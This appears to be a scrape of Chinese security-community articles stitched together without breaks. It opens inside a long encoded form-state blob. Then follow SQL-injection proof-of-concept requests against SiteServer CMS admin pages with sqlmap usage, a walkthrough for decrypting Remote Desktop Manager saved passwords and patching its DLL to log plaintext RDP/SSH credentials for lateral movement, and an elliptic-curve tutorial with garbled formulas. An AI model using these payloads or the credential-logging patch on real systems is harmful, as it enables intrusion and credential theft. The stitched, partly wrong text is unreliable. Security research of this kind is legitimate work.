PtCm8qzoILb9n%2BXu6b4nvRzxkNoyUGthm8KfHG4UzW8bG4D90Eo0kdvUhOL4k8h7saKfohE70v0QMGfd0vD8pCCnf8gZZ6/DYvomBiA4Q9jE%2BaUN2/kBcGgdULS%2BQxHTlxl7EvxHw0Ts6xgiOGUImCWAgyn%2BwqJxoe%2BFC7LszkH8NFaTHysh0SbZbKcyjihW49/mwMFS43PLzYU8ujPf5FDvMQHdByJ8J9vKwkrPe70JGtbBtjRB63g6lwAp5H/6P7sXtmAJTgm%2BXGSCr4jRzG5l%2BWyJqGDsj7orRuD6b%2B/92yEHzOxfj577/zS3VWOFSTrQ6jfB12byel7Ntt5Tb6yNMVvb5iRj6kEGsXICVDwdl/S0IiomJbhmMbHIofgoO1GH0VUoJEAF7F/blrB%2BVS1TdeScW4nLsvqrqbAZVe3rNkw6CgVu8r3UebHxKwF8Y%2BTpEVVEnHYU0HbgWr8otVcKiDn1z7tzAkKgBTIh220awMfmFx47wCKxNmTgpqmADkSil5S0rEZho8S4wWhIYybaIbGivfeQQSWFV6ww8dTq9R3dkkjDHpIuZgQ6cTjAXku/NHFfFD9sAPHETlYvILRFOtY1rGFyUY9SLcvLUaTuR8Ehj%2BBP6Dz3Y6/Y2VAol5638tC15U%2BJQgDUulrhkYE/JlChqoiX0nWGHQuwKE1gJMsreVjjReKiHcr2KDHXuNrc519L0LUE4r9iHSKe8R9E0ZQK4OQGhgveag1BUwi7n5ZSqthD7iCmReW2zROg9LMEl0IhS2BN2kQAReXkhRdVr687nqrMOqw2MR1rIUEhAHdgmca345P4K9swZv/AxVM4%2BXO5b0HMWsFB0Ot3lE3CPaw57CJMAdfBotqZodTG/nilB6RxTM4qjFdETqbqvzBBQ/FZasRHT2gxvIK3mTeLd6aA6eS4c0bjBVLMS6Ax2K07tM9yR0Y6Rwce8CvH975mtf8e%2BHufljMsPlX5NUxCinZxklfBS5TiKg3mQFu4DuqDR4Q4RxydpZYlvIy8f/spW/NdjXbZnSydS6pCY7YUJw%2BkJy4DSu/JUStQmSHBDT0kLKQWAtPgxs9mIZ7Jl9WVfXMjjHXjMnFcozNeZtW87LR3pVEOSHQ%2BSEkuybuuZGN1WsDscaEbetc4O5LnLbS45h6ve1Svr1T1vYtpNoOSns%2Bs4rFP6vaj4UCIezSIJLFLECvuZvk4CIyAWWez6t4qM4JPPsVIc47NX2evsz%2B4tZ0HKIA5GwnzrzpF92Qfq%2Bnfv85asL9/m9IA9xVwBf2%2BMPRJENrbkDKbOxKZmqb0yil/RvdssLFydBJ%2Bm%2B6gtgrc8poBp9Qz8gdIgZKCGxfTFKyIsU6uG%2BifSd8pfJlh45O7fILQsmgsLhD00l2LAmQj5CS6RwduLb4j9DubRa5kogjSdQyGeRIjD8TTWp%2BnTYLUGrj0wYB/ckZ1FgGwggi0s5lxsFjBDBb5sQPy4xaIJjrJI9Ows3UT/O%2BU/2kIAFx0/VCOLyj2aUxsyFR6IpODPrBYDf970CxpwY6jGu9KrkguY1i6Y5sTS3cLJdVmhQ/RKv5WNIPoIibu%2Bpx03991GknVYzNLKAyOAlfqE4qf8lPeVPOmq3P5NtTK4Dpze2fD8gkV/TOvBLZRToyONDSSFU5kSgWRd8wKYdqswdxATjxMw9Ir%2B1SmVoeBxTA/hhY3Ko6ay9uSUz0qXlvDP7sqG8Ny2skkVaTPQGkSjZ8gNJ4FRfNTUnnk6TNTHCA6TcG2aYHdaP3XpyVvEtzH80wVYfpdZ52S76ge9RMvA9%2B4X/d6eLA3bTk9w9ZbTEC6lQxT9dR9y4IslYEXkHI3IeDozhLcqGYRrxoRTAOIg8nv1wIiOgIMxkx8f46Ea4GZhBx79eu2bsNUp7Sb2O1NqSxMS8UAUWynRuLTgzD/Rqqf43837eH6TL62EIW7tLVjFbKnccvDb84mFyrCSgOIZg7zW5dGbTHmttuIeMj1WkGeHV56PogjwjCQbmUH17Dv%2BJiz7mwRbqDty9AeYgrnRMqNwBcmYzDSgXU7iZSav7MIC0BimL%2BC3KqXo8k5ASVfgvBgHXCeLpmC84s/9QmobPMkOYqjTBIf8UNC7X7ltBxonCB6KIhry11wO%2BmtWJdnNPcEUdF08NQBIbfbR0C/iCyf%2BDLIcxfMh%2BKliPpCC1azN0ARJZGwzfWyD7LjVat40nKCzVfFuFMpIUdL3Pssr9QZHP1SQAeZNU1XZpNTIND0bSv23QxD/Mcy84HeovRXzaz%2B6H09/e4teQYad8vVITGETbNMy2o7X2LspqpyskJn2xWwLm2gdDoXTlj2oh6LtTmB1adTflz39jKiduk/WVeKyFdyjvzn1ywi%2BUwmRngsO2XKAuXTTUAvzTLbf/qw%2BrkjOge5RCinPC8ifQffrVxtT2idbe%2BTz5HAzpIBnBr8oo8bPqKfLRKWr/82HNXOT8ylBSwfh7BjFfK7kkM4X2hlYouwohLkvTrCGoKxzRcp/T0RhRgBbrDrHFbhZi0N8hihE%2BNV2TKt8i40nc40DA56QxZ/6PyeeaIft3bF%2BDH6bMLVjcroTk60d%2Bsz9yi7UApqZHUsIeoz/BsQ8MssJq0712gUbaGuv6BfnuCxcqPuUa2AQasrWg6OT/3zBz7W9XvU3Nmshez5n7q5qtMBAqTgRYE1VUFVVJVd9dKa5BvrnGSHxNj3en/nKnjh8YDvLW3GYAtI2A54zVVGRYPU50k04F/goPvUfQWzbh1rtbFnzuxgCVIpFOZwrV5VUuOzACzGxmK6ELjymts%2BoyQvjeNuClAJ/3a/vvAY8oyljTMuu4lOPI2gtgdzdiQH29J3oWDodPRjSBb91NRnvmBoK044hkJJFnqyoXEosP0o2oTcOzKFaegWtnHAKNGHXrUVUJDhdhVP3J7HvgmBZH%2BkVYQHLm8%2BQaToYy2PWx79IRutxYgpDuvtkugXpL3pnn3zP71ODzQptD8F4Zmwm8o%2BoT9ryAoL7/csZwFRPq1RpUAM1OnjallmiXw6kKE/C85kLPJzYV06Xk5VsFwSYerP0bPQyEliC4Mgl%2BzEXMEpSxx9nRD/7PEYLs71i7s6RMPHXf5a08HYFn2xHhu4FeKS06hPw7H%2BA2KDKZaA3KTzguaNJPeLca9TRfjUs7IOgKAOcAMfnZwFJPW0Pj5ptJ9nAc6oQAxl0kF2Nf0jRe/Am8QS/PiH10WhkeQHXKkqC0OdsMqDY32BZcllCWFVYjM9bcv3atIqelSID2ha3o4V46T5tw4fdlA0NnhUPaJCbvm0ryGpmc0EwzksC3hsY8/pZmwTdWUhPA1yviJVuBt67tbf9knY/RDwfCannBYlJzLpD0I9MdpwPUy2mY4ZivV4e/3Idan9lS68eDFV6xUK19BY/TonzpLBwaUHRhKKo6BcAsRM6e2mlF8nzox4ZBRN4wRBG1WMEKyeJ39Ix4bAJIQ3AEpo9zJLwon5UE7dXZJT%2Bq1CRYvLJJxkW8BOek73QdbJhWqGRkiWBbfBLHGUyk7sCRLjarTbpJprLbo7kXYQpTaRlgDt3DdKakQ2nPLQEKZFmHWb4EEPpkmyg3NzZBwXRD61OBU3ahKt8ww4EVbj6TvdaFVFQ1Mj0XeDQb0sFGI1wV7EAKyJPGAnYe5eSh99g8L7NefDFcm%2B6H73XbTHeYEn6YWaQINILpfnHSYnw88ZrNwyW4ro2%2BW/eDzrPeGpn5XgRi%2BM8J9q0aD/WRKXB/DJuMvaDKDoF16Gz210xMEnb0F%2BzLpwoeLx936zllo06LLhf79Cc0p00h1GaDpnPP94QblhMNAGYMLa6v58NT0amLb0AvUk7LHSIynOiIYZTsCXQh0VmP8d3CBUiroEmDPYKNoTAYMExnrWCexG3AxVXsx0Q7POB1jwpIE6rPrFrvAndE8jaJhldOjZvAOL5emDX6882Tcif217TC2%2ByvdGOHeKaCit5eLMhwWMTDzuBSbXJlcmo%2BrC9tpjrPhj/2XA8GxMWdkCbs87%2BIZ1nni42a4B2cWD1KrGizai5uWeg3DmOIosadHNqSp5QNFIwPRIHb6JspdjzJd8R67gqi1mme3r9/XntXMKc1U2cbTS23vuCj9hTuyFGDsSvnEFnQcwjWwSS1gzbhOo/jrW9gzoUM8gQo1CxoepnAq6hAPae8lPaQYV3c2v5xq6RasHFPYsi%2BGKij8KUmXy9anVOm2p36aoSluej5FzsN6YclhMemKeJ67mmiE8rcspOoKSUs/PxKZ2aEbrKs2sH15azDoPfLURQ7fB0d3gzfZZdbGGrlSADvWzr50SDuoBaoYQbKDioyFOwDdewJxsv1rs6rhZNKVOicDFulLyb3NOAEV0m4DeC1l9mrGCNLltWoQDrXTGYoKgBifuE5ztr8BQndbfpjje0YR%2BJ9Waq%2BVvgRhwIkc0nDy6qwc8k7LK2mu2EVn4mRym2cRhVG3toc2JwGPsMo4/1ernRkJbCDJPrY6iOx7ldi4VAg6JgwA9/Nuc6SJbD1yVJnbfGO1pj2TFs79%2BRIwBK1g6CLCE5Sp4WiONJznHT4MjPrBnZ8LeN/i2N2V8JHM8DRUrM%2BEkqNSmxAMVcfZ1/1XQSASrRb4KctwN4Km%2BzPfMpRQVcWNea/1b%2B4hK84h8z%2B1YQvS71G/XArRoaKOMakjzKMKr9WDGOTZaUKvjnztlnYHsarYBMrz%2BgXvce1oFxkGCoNNXntx/QZ2D9QJroQQkIHikMh2TwLSQZxQyOXC1fuwVyW4w5nZTg60YTICrld3/70rbEDfpSF8WO4YJ0g3CMSiIeg3cP8HoQKqYRo2p%2BDL5jP0VFJE1kDMXAryFPcWbF2YQ1Uj8te34DbzduZeQhG9wkEzPU/5kM8PiQPuSRx6mupToX7d/b3Apzlmun7HyvYt06fK3/a/Avh9x0KsaSN8cJN9mzLL9xVrd28YwM/MfjXQ7dOqD%2BtTaNX8VKyY7OyOhoZ/jXuuO65QzCxyKxDMEJ9dcF0v2cirINq49WqzcEZCv4264By4JfNvOmCYa12Jez96VQxQPuwF%2BGmlj6/bZgV4SrSAhGPt/Uo2h8cRgg5rIOhT1nC4J1xaIwxgKAvid4xIQpDjQDjflU7hVgegMr5do5%2BQsvbUqmzvNjlBYDeG9MfjSMVEZK6sx8sbUZWlTn%2BAyLMSj9EJoNsx5GUCL5K7GWc8s1GHb%2BOgyyrUb24uRtqSn%2BLILezfoPq7nYR5H5yjq5TPzwYgnLTYJTIOGy0QFd0NhfJjF7HZMh0pbsN/ClTlycWRaKx/2WR18Xo9ycJtGF0K9uXfmBPbQlXsljHOypxCxvYbpvIf8Nn0SkplOnOyyTN4Wsaoyov%2BO2b6Vft/ftTvOTlraOKT98t8gyWZy7PuYD7wxhd1t3dqoGG%2BoS/JypeEdwcSCezy6MJvjwMrBPaCB5ZwPzL54KuEqrBDn2YVFCa8WME6IPSdVcgp2nbJNORrcrzx37zlYdYnNgMkVlbyaa3TbbfWBaZGb9r5%2BCyCih4aXVWP6pJuG5t4mB%2BDi0M36r%2Bs57u9w/4Zo6JiekF01EBHF0zVt7r/vOvvwMhWvA6BGtyQHy9yLE3Uxa9vBBKIpTFuvrMyU1iR2dJc%2B5r0HELa4WP9VZG3cEMFFMQOlR6uAUNtgUd3FmEliTD6ngLi/oY/yU5FS2mnOFRr4siX2OpK8rpOrU5KQyzD8RZsJzmBFg3FldI8xs5GnZRlhZCzRv/ah0QhjK4ByUi1cCzx8R5DANp7erkY45IxbD4s8WaaCr97QwyHPpyIVOmYaWx6CjjSsFl4YG9QQaf0wkMRmq6rJiMaLGbryNq3de9yu7dLlEua01OOtI1NcSDZxrZ5qryBtT2QATggJFT%2BVtAFDozeO1SzuDAHoX%2BuAbOgRwQtlIBncyi6eRMwsEEt1UhCKwguUVGVrN19Lk7/OMA85PsVP5J8YoXdprhL70YLZIi0S58nsQib3NNN6Ub0O%2BK/m0zc9%2Bwk8Vv7YB%2BBPnSeQKKDfybxpeDf4b8bNbponHgDdDVkA5sqOWlILTISusm%2BjCEjL63bSa41L1GSBl7PSFrW2vOfto0icy%2BhXQREuo7drdw8MgoaIk556HDl84uSLiqPXisLwb205FV6KBYqP0laYo9d2tZU5hisOeo3HbsgDFJFm8aTOH4gZnsr3g2VIGckPssmdjv9I9nQhNcbksEuPwB%2BAu3MK5b1TW8b9q4ERGSKJ%2BMGEFwy5CD81VTxItLs6JvvKG8Qo7NGtKapVjgbthZNC24wiAGTHAiOzAQA6on%2BsHk0edvie7aWoGQLAgz3%2B/XWwflVM/BW0RhrlVfjAA6Suw77j3aUY%2BW/tdPuDLhWnqzl/IQAtlksZ0Mmg8OoiGOOA%2B63IuHyR/tkSRwlKtM8ZZqAO3iEqJrIpniGSf/GmMUmjkif5BIN6Wl50g%2BPUsHuUCdPMIGuIqPHul/HhdMa3XQjpLXjKqwbXNN3Bi8xu4TcxU7U8kbjlnfPh/q3gSSmHZ1F/sokZff2E3/U%2BUcLsf1VDP0jcjUmYAk2aQEKa3KUHfjiHziuKkY12BwpSd24ZZ7mN1o3quWXPfA4uSRBWaaz8em08HrsoDqHQ/jGYA8%2BDlZucKcpxpGG7tG%2BGo8qQD8Y2fbWcpAzJ4fMSfq6GpKSSDt6u7jz5y6OsZ9tqkxGhIt3%2BI4tTCKj7tz%2B3z09GX1dtplKwAFU6tKZIn9NF/wLB406G7/8rqcGn1hsR59xZWUMRAR2R3N65DC/1rojAKuY0Xdv0UZXdi0ctmewtJ2RaBhyI3Q8kB/PD0LVMF9Arft37QOcKtBuB%2ByaK0uufxgFndT6YkrEL7K64CwHX2Vge/ErRcOiXiWULgHvM9J5Ina1qfNU9o8ZIPEIiEqdfYKmSK0lseC%2BVwtNVTwQxSvc4P2Xg1qPyBZjxwrmfqqSLNRKnDXsGoS8hnJ7eEYDzCr7iWrJCyaRk/q4rsaX1wxXLuJt39Ir6bnB0218rfVRm7tVa45kYCC8NQ/NVttMLtbSvfN2o%2BhSALVZjQAAfpYcMxMRmUYOFyf5x49LJHDXwRiSFgwfNJ8rghwuZkJfTyc6ly8A6pkiCCgX6%2BEuxd2MQLKKLZ7w7yqfnWDMGWsBxC6lwpKvCdebGSVomAXQZP523PMTIPnqP9TzlCP2QOQ%2BqeqzaltfcdB%2BaKb1rm8fC365tgYcMTKhMYguajXVl/vj0j7%2Bn5LXliwZS3ItbjXTFnnAf4eSEtggnq1hcL7MoZkV9EAZMAVR0CKzkbCGYRF56D72M5w/y2bk5U5OTnXQgPS%2BnYhiv37JZoM/wVRnsfNYWkIBQ7k71JpiD59zyNsDFs/KN%2BWCW6v9rzRtlqG%2BQwsxjsbbrmF16AYGEGEiq/5Jbsgd/MtnTVUp50FCFX7D3rORCcDreXa24vP%2BG5Nq8RmE0I4SKPx2wx9FzrblSyCmkpxRp9oVW6LzPsvN3rIQCvNUad8PiGwgsd7vfz2mZdDGUz7kxry2ATGdNsJsdO4OVnsscN2wK7bqzmTD45rLx1mq07tdYUlUkTLHExbCTaQa9HNt804wy8/3sSUG4Allmq%2Ba0Hs/sXVv3S0CMGLthHuKDIpfkRKe0cu/r5FadUDUeOlHvhm5%2BAB1LvHyyaKVPW8F/6US/bJWUohcP%2Blmmle5dU%2BnCQGtfIjAHWfy88jICjypR8IXemxF9PF5Rq/bopSg%2BVHp%2Bh9JMN%2BmYRj9TJtYJUshi%2Bu4/tleyEhEu9CK600SqwRhGTVKUFzvZrAHdkDcZm1GWPN%2B%2BWm9hdZ%2BunFnTcVLz7PsGZ3t/YnTWeJPW71KSEiC5FfBklwUOcuzFz3NdMROPaId5QOxVqTsvuVZ7PZB8o//pd2JUhwAkBmj0i13F/kOcOiY0ARjn7U6TzL36ZDZdzA21iAI0dgJEYhhIchC%2Bv2AS2skaRVtLK5tNq4woyJ/BzLLgqxPNQXOhSQ/3PdLbbTMu/M2v8qngCSaPdeRo0GRKreKvKXB5kfxWiCmJtXFvZxmnZejuzUUn09Wk7sFSTmc047Lz%2BCcbOvUHR5mcUF2s0G7fYKbudRRqBqk8k3Pw4aVstdY7TWTtSogKFXxZCzj/I6hPk4/ImyxV8QzmVtsOCE%2B3uUFghW5AwIMgnC1YyDkmD9aTZ1Can2trwL0LDVE31txnOv7hW2f9EsGCCoUtlxLPONMvWWPAIEp2A62iZoJUju1BRuqEW56PvtS97K7AWBOL/2hEPT8gbJit0iY/Cv1hKg%2BZMLq9CB6RUSzfCHu3XETze9AAnGdFWXHpelS9ILCreXhd9Tb2guhp91S3y%2B72rF8bN9TjUnRPitYWVbztuwS%2BaFwtAmpcdXU/ja9yAMeWBnvNWB6bW9Iiop/iz55fkNbC8coVPGfB5pN1xq15BxRCTTwZk2FlAnfPvVte9Zd9EjKAA7b8fTYjbelN1z6U0xH7s%2BX/hTBG5xfpNovzmHt0onEpC2tWdSMM7lkeWLVN491ynnlvyXorJH1I3qo4a%2B3WVL2xZQuHw5xqtwpGgYYOZZ7bVaxsfu5XHjX4p1ZjR/tnhfO6401F6wJMII0v7DVEMgHgoyieHR4c4tXixiCQ3NlP8msMOJs2dyCnzeeEZbX6EFHVR2/YM3N7lKwjsiw1kUicsGkntuygPTyOyaimTA%2BjNxXG%2BfTm%2B7e8wFG88kE2tQJCs9HOAPSL/Nc6AdYNXfUagr2U8fORHoi6VfsPp/5vZQUrR/TDidgLR/l5XhW0O/OgMxhVKDu9UlcAgBLBSKpvvxnQdnB8WKysr75KTgk%2BBrozPwcURFuoNiAOaJJelDezqOyzp9%2B4Hvpz2djtayFh/J8F3KrdjSLiYhpfCy3diGA5ym%2B0MFpKGuZAvgrcZ8vRp8yjgaOE5s4vaEqbMaJx1u3UPJ64tpqvrz4ChGU%2BdHxiiAAOFkClsE8w9hTHu8uR%2BCpJi3uIzSsgRSavRKtQ/wa3NuY9Vs&__VIEWSTATEGENERATOR=07C334A0
**POC_2**
lastActivityDate参数注入：
GET /SiteServer/settings/pageAdministrator.aspx?areaId=0&departmentId=0&keyword=1&lastActivityDate=3&order=1%2C(select%20case%20when%20(3*2*1=6%20AND%2000043=00043)%20then%201%20else%201*(select%20table_name%20from%20information_schema.tables)end)=1&pageNum=50&roleName= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/SiteServer/main.cshtml?siteId=1
Connection: keep-alive
Cookie: ASP.NET_SessionId=5vyakqhuu2rtwvblnorygurc;SS-ADMIN-TOKEN=rYwhRlUy1A0slash0c0add0oVj4VDE0CvBAX85G2dBwa93TmwEkeruzsEkVZiNgMXXO0add0Sl6esIB128JOJDb78vG3Z9PkosNmcFsDsr19aCI9HXJmpu2MBtJqFRNsLzcRl5z0slash0m0add0ClsU6wxc4myMoLvhfjQ5klJmGwSvad0add0cUpWcO7EvcWRt5wavRiqfmxkLcBT4B4MtqIHEBOx4MVHwhbYGuDIM1MCnPGQ71DkgWDj6ii40add03VdXQnk0equals00secret0;SS-LOGIN-CAPTCHA=UxpHCdBy2cs0equals00secret0;http://127.0.0.1/api/pages/cms/contents?siteId=1&channelId=1&page=1&1550057121935;BaiRong_Message_Success=;BaiRong_Message_Error=i0add00slash0bUAz0add01XI2hZN8pRsYpOmkzeTQsRVlYSaVFiYYWhOnhpyKRNQlNw0equals00equals00secret0;BaiRong_Message_Info=WcVtq4mIguwAo2bGhcDt3Obpq790fuRLlT7SS6pI6rratdyRYvSQRFP42DK2gt2MH95POIgqPr2KgC1z40LtkBjF4I8A0slash06HZxrLk4z6YKWVsQU9vowYbppQphC5BUQ074Cs2sF6ATDEU9bWoiVNWudY0add020slash0EuT0gmVl93NcNxFg3kUJweDyL3ILbOMbGdbic62onCmXi3cXszjOGSPpGQbQ0equals00equals00secret0;pageRoleAdd=TbRoleName%3A%2CCblPermissions_0%3Atrue%2CCblPermissions_0%3Afalse%2CCblPermissions_1%3Atrue%2CCblPermissions_2%3Atrue%2CCblPermissions_3%3Atrue%2CCblPermissions_4%3Atrue%2CCblPermissions_5%3Atrue%2CCblPermissions_6%3Atrue%2CCblPermissions_7%3Atrue%2CCblPermissions_8%3Atrue
Accept: */*
Accept-Encoding: gzip,deflate
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
**POC_3**
searchType参数注入：
GET /SiteServer/settings/pageUser.aspx?creationDate=0&groupId=-1&keyword=&lastActivityDate=0&loginCount=0&pageNum=0&searchType=if(now()=sysdate()%2Csleep(0)%2C0) HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/SiteServer/main.cshtml?siteId=1
Connection: keep-alive
Cookie: ASP.NET_SessionId=5vyakqhuu2rtwvblnorygurc;SS-ADMIN-TOKEN=rYwhRlUy1A0slash0c0add0oVj4VDE0CvBAX85G2dBwa93TmwEkeruzsEkVZiNgMXXO0add0Sl6esIB128JOJDb78vG3Z9PkosNmcFsDsr19aCI9HXJmpu2MBtJqFRNsLzcRl5z0slash0m0add0ClsU6wxc4myMoLvhfjQ5klJmGwSvad0add0cUpWcO7EvcWRt5wavRiqfmxkLcBT4B4MtqIHEBOx4MVHwhbYGuDIM1MCnPGQ71DkgWDj6ii40add03VdXQnk0equals00secret0;SS-LOGIN-CAPTCHA=UxpHCdBy2cs0equals00secret0;http://127.0.0.1/api/pages/cms/contents?siteId=1&channelId=1&page=1&1550057121935;BaiRong_Message_Success=;BaiRong_Message_Error=idkTNpaibsTVOTWNCIYHopjR5DQok0slash0MiixTCRtA1Zi2oDmbbNohhlKgAT5oxdRRk5mawKRRDf7Q0equals00secret0;BaiRong_Message_Info=UKZD9ATQy1nIqXl6UMdKcFsqBWz6W0slash0zZwF0slash0zI3H3S1ea5xO1a8CH7GpPOgZfjceddzeRpe48tG620add0EfzngiL4RR0add0BLDmBmrHA4oDI8fhFDyFUeOim0tQGOg0add0YlAUpat9fZhvQT8yO4eGOcly70slash0OSdQ0equals00equals00secret0;pageRoleAdd=TbRoleName%3A%2CCblPermissions_0%3Atrue%2CCblPermissions_0%3Afalse%2CCblPermissions_1%3Atrue%2CCblPermissions_2%3Atrue%2CCblPermissions_3%3Atrue%2CCblPermissions_4%3Atrue%2CCblPermissions_5%3Atrue%2CCblPermissions_6%3Atrue%2CCblPermissions_7%3Atrue%2CCblPermissions_8%3Atrue
Accept: */*
Accept-Encoding: gzip,deflate
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Poc_1 漏洞证明截图：
sqlmap -r inject.txt
特别提醒 复现时先访问Poc中的地址 将数据包保存下来再丢给sqlmap跑即可 | 社区文章 |
# Remote Desktop Manager 解密分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Remote Desktop Manager
是一款远程桌面管理器工具，主要应用场景在，IT部门负责管理和控制对不断增长的现场和异地服务器、计算机和设备库存的访问。然而，依赖多个远程连接工具和密码管理器效率低下、令人沮丧且不安全。IT
专业人员、系统管理员和帮助台技术人员没有得到简化的清晰度处理，而是在持续的混乱中挣扎。解决方案是将远程连接技术、远程机器数据、密码管理和访问控制集中在一个安全、可扩展且易于使用的平台上。
在内网横向中，我们经常会遇到运维的机器，当我们可以解密Remote Desktop Manager
工具的密码时，可以获取更多的凭据，有助于我们在内网渗透中横向移动。
类似于我们常常去解密Xshell 是一个道理的，由于我项目中遇到，在 google 等搜索引擎并没有找到解密办法，尝试自己解密。
## 0x1 基本信息获取
根据启动时，所加载的DLL 确定大概分析范围
RemoteDesktopManager.Core.dll
RemoteDesktopManager.Business.dll
Devolutions.dll
对查看密码功能进行点击测试，观察Operation 是否读取本地文件、注册表等信息
发现在
**%LOCALAPPDATA%\AppData\Local\Devolutions\RemoteDesktopManagerFree\Connections.log**
进行连接记录
**%LOCALAPPDATA%\AppData\Local\Devolutions\RemoteDesktopManagerFree\Connections.db**
在DB中发现了加密的密码
* RDP
<RDP>
<SafePassword>UJbKx4lffJM=</SafePassword>
<UserName>administrator</UserName>
</RDP>
* SSH
<Terminal>
<Host>cc</Host>
<PrivateKeyPromptForPassPhrase>false</PrivateKeyPromptForPassPhrase>
<SafePassword>WqYhDbiAsH8=</SafePassword>
<Username>aa</Username>
</Terminal>
现在我们已经获取了加密后的密码，和基础的连接信息，接下来我们只要分析出加密方式，即可解密、获取明文密码。
## 0x2 加密方式获取
根据上0x1的基础分析，我们现在对 RemoteDesktopManager.Core.dll 进行反编译，查看代码，尝试找到加密方式。
在FreRemoteDesktopConnectionSetings 发现了连接配置信息，
根据连接信息进行回溯
找到 **DecryptBasic** 方法
继续跟 **UnsafeEncryptionManager.Deobfuscate**
**Deobfuscate** 中发现 当满足 **!UnsafeEncryptionManager.IsEncrypted(cipherText)**
条件 进入 **ObfuscationUtils.Deobfuscate**
Deobfuscate 方法 接收参数为 string **encryptedString** , string **key** 那么这里
**encryptedString** 接收的内容 可能就是我们在sqlite中看到的Safepassword ，key为 软件所生成的，
回溯上面的调用，下断点。
通过逐语句，来到了我们刚刚自己找的这块，确认了我们猜测的流程没有问题。
在到了 **Deobfuscate** 方法中时，我们所接收的key 已经有了
在继续跟上图103 行,GetDecryptorTransform 方法时，我们看到了加密方法。
public static ICryptoTransform GetDecryptorTransform(string key)
{
Dictionary<string, ICryptoTransform> obj = ObfuscationUtils.decryptorTransforms;
ICryptoTransform cryptoTransform;
lock (obj)
{
if (!ObfuscationUtils.decryptorTransforms.TryGetValue(key, out cryptoTransform))
{
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
byte[] key2 = ObfuscationUtils.MD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(key));
tripleDESCryptoServiceProvider.Key = key2;
tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
ObfuscationUtils.decryptorTransforms.Add(key, cryptoTransform);
}
}
return cryptoTransform;
当reurn result 的时，我们就已经看到了密码
**Deobfuscate** 对应加密的 **key** 和 **encryptedString** , text 为我们的明文密码，由刚刚的bytes
result 转字符串
那么现在具体的解密流程，我们就已经大概了解了，接下来我们怎么解密目标机器的呢？
* 1.离线解密
回溯key的生成，找到key生成的方法和存储位置
* 2.反编译对应的DLL文件
在DLL文件添加记录 encryptedString 、key、 text(password)
## 0x3 获取明文凭据
这里我们以反编译对应的DLL，演示获取明文凭据，在此处进行反编译DLL，最后保存生成替换即可。
string[] array2 = new string[]
{
"encryptedString:" + encryptedString,
"key:" + key,
"result:" + text + "\n"
};
using (StreamWriter streamWriter = new StreamWriter("C:\\\\Windows\\\\temp\\\\log.txt", true))
{
foreach (string text2 in array2)
{
if (!text2.Contains("second"))
{
streamWriter.WriteLine(text2);
}
}
}
最后实现效果，成功记录了SSH、RDP 的 password ，想详细的记录连接信息，可继续往上层跳。
拿到encryptedString 直接就可以在数据库中比对了。 | 社区文章 |
**作者:evilpan
原文链接：<https://evilpan.com/2020/05/17/ec-crypto/>**
本文主要介绍椭圆曲线的基本原理以及基于椭圆曲线的密码学实现，包括ECC加密、ECDH秘钥交换以及ECDSA签名算法，并介绍其中潜在的一些安全问题。其中分析了两个ECC实现相关的真实案例，分别是索尼PS3的签名问题和美国国家安全局NSA留下的椭圆曲线后门。
# 前言
上周写过一篇[关于RSA实现的介绍文章](https://evilpan.com/2020/05/02/rsa-security/)。相对于RSA对称加密，椭圆曲线加密要复杂得多，以至于多数的介绍文章都难免涉及大量的数学理论和公式。作为一个非密码学专业的业余爱好者，我的目的只是希望对这些概念有个宏观的理解，因此本文会对涉及到的概念在尽量保证正确的前提下进行简化描述。
# 椭圆曲线
作为梦开始的地方，椭圆曲线(Elliptic
Curve)真的只是一个曲线，和其他曲线一样，都是函数在坐标轴中的一个映射。根据mathworld中给出的[椭圆曲线定义](https://mathworld.wolfram.com/EllipticCurve.html)，描述椭圆曲线的函数可以定义如下：
y^2 = x^3 + a*x + b
其中a、b是曲线的特征参数，决定了椭圆曲线的形状。当`43*a^3 + 27*b^2 =
0`时，椭圆曲线退化成奇异曲线，因此不再是合法的椭圆曲线。上述方程的表示方法也称为 _Weierstrass nomal form_
。椭圆曲线在坐标系上的形状参考如下：
通过观察或者证明都可以得知椭圆曲线是关于x轴对称的。为了理解椭圆曲线，还需要引入一个 **无穷远点** 作为曲线的一部分，也称为理想点，用符号 **0**
表示。椭圆曲线本身比较直观，在不同取值范围中会存在不同的特性，下面会分别进行介绍。
## 实数集
在数学中， **群(Group)** 表示一个特殊的集合，对于集合中的元素我们可以执行二元运算，比如加法(+)。一个集合成为群的前提是需要满足以下4个条件
1. 封闭性：若a和b属于群G，则a+b也属于群G
2. 结合性： _(a+b)+c = a+(b+c)_
3. 存在单位元θ，使得 _a + θ = θ + a = a_
4. 群中每个元素都存在逆元素，即对于任意元素a存在b，使得 _a + b = θ_
如果集合满足上述条件且满足第5条：
* 交换律： _a + b = b + a_
那么该集合也称为阿贝尔群(abelian group)。
> _单位元_ ：在二元运算中，单位元与任意元素运算不改变其值，比如实数中加法单位元是0，乘法单位元是1
根据定义，整数集合是一个群(阿贝尔群)，但自然数集合不是一个群，因为不满足第4个条件。
如果一个集合是一个群，那么就可以推导出它也满足其他一些性质，比如单位元唯一性、逆元素唯一性等。
椭圆曲线和群有什么关系？实际上我们可以在椭圆曲线上定义一个群，具体来说：
* 群的元素是椭圆曲线上的点
* 单位元是无穷远点0
* 点P的逆是它关于x轴的对称点
* 加法的定义为：对于三个同一直线上的非零点P、Q和R，它们的和为 _P+Q+R =0_
用图来表示就是：
这只是一种几何表示，比如计算P+P，实际上是在P点作一条切线。为了能够进行计算，我们需要将几何加法转换成代数加法，即将上述规则转换为一组方程
。其中涉及到三次方程的解，这里直接给结论，假设P、Q、R的坐标分别是(Px, Py)、(Qx, Qy)、(Rx, Ry)，则：
# 直线斜率为m m = (Py - Pq) / (Px - Qx) Rx = m^2 - Px - Qx Ry = Py + m(Rx - Px)
